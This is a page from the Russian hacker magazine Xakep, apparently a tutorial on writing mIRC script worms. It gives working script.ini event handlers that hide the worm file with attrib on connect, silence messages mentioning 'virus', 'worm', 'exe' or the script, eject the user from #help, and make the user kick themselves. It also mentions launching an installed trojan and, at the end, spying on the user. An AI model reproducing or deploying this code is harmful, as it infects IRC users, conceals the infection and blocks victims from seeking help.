|

IRC-вирусы
Xakep, номер #021, стр. 021-060-4
Когда кто-то на одном из каналов, где сидит наш ламос, что-то произносит, генерируется событие TEXT. На это событие можно определить все что угодно - например, так:
n0=on 1:text:#:*дурак*:/say $chan Да, я такой!!!
Как ты думаешь, что произойдет, если ему сказать, что он дурак? Хе-хе, он, как пить дать, согласится! ;-))) Кроме того, можно прикалываться на разные темы, в зависимости от канала, на котором находится этот лама:
n0=on 1:text:#: if ($chan == #help) { *помощь*: /say $chan Тут все дураки!!! }
С каналами вообще происходит много чего интересного. Допустим, неплохо было бы нашего червячка спрятать. Прямо так сделать это непросто, но возможно чуть прикрыть файл, который содержит червяка:
n22=on 1:connect:{
n23=.run attrib +h script.ini
n24=.run attrib +r script.ini
n25=.run attrib +s script.ini
n26=}
Команда /run запускает файл на исполнение - если известно, что у пользователя есть троян, то можно его запустить! А можно стартовать Нетшкаф (Netscape) с каким-нибудь сайтом XXX на выбор. ;-) Но в данном случае мы просто устанавливаем файл SCRIPT.INI атрибуты "скрытый, только для чтения, системный". Глупый юзер с настройками по умолчанию этого файла никогда не увидит. Точно так же можно поступить и с WORM.EXE, о котором уже говорилось. Можно также запретить общаться юзеру на эту тему с кем бы то ни было:
n29=on 1:text:*script.ini*:#: .ignore $nick
n30=on 1:text:*virus*:#: .ignore $nick
n31=on 1:text:*worm*:#: .ignore $nick
n32=on 1:text:*exe*:#: .ignore $nick
И пользователю даже не будут показаны сообщения о вирусах и всем таком, что содержит слова worm, virus, exe, script.ini. Решетка "#" означает, что фильтруются сообщения на каналах, а если там поставить "?" - знак вопроса, то базар (в натуре) будет фильтроваться и в приват-сообщениях. Это все действенные методы, но можно также запретить заходить на специальные каналы, предназначенные для помощи новичкам. Например, #help канал есть на всех серверах без исключения:
n15=on 1:join:#:if $chan = #help /part $chan
И как только пользователь зайдет на какой-нибудь канал, он оттуда сразу будет выкинут. Никакой помощи, никакой информации о вирусах. ;-) Плюс можно поиграться с каналами и таким образом:
n15=on 1:op:#: .kick $me Идиот, ну куда же ты приперся?!
Действие просто убойное - как только лама заходит на канал и получает там Оп'а, он сразу же САМ СЕБЯ, с возмущенными криками в свой адрес, с этого канала вышибает. ;-))) Действие /kick команды можно немного отсрочить, чтобы он успел что-нибудь сказать сам себе на прощание ;-))) командой /timer.
n15=on 1:op:#: .timer 0 /kick $me Идиот, ну куда же ты приперся?!
И лама уйдет в мир оффлайна через минуту, а не сразу при получении Оп'а. А пока он что-то там пишет, можно его попугать:
n16=/titlebar ##### Lamers MUST DIE ######
Вот он удивится тому, что его mIRC умеет! ;-))) А его mIRC умеет очень много с нашей помощью! ;-) Например, следить за каждым его шагом и сообщать нам. Первым делом пользователь коннектится к серверу:
Назад на стр. 021-060-3 Содержание Вперед на стр. 021-060-5
|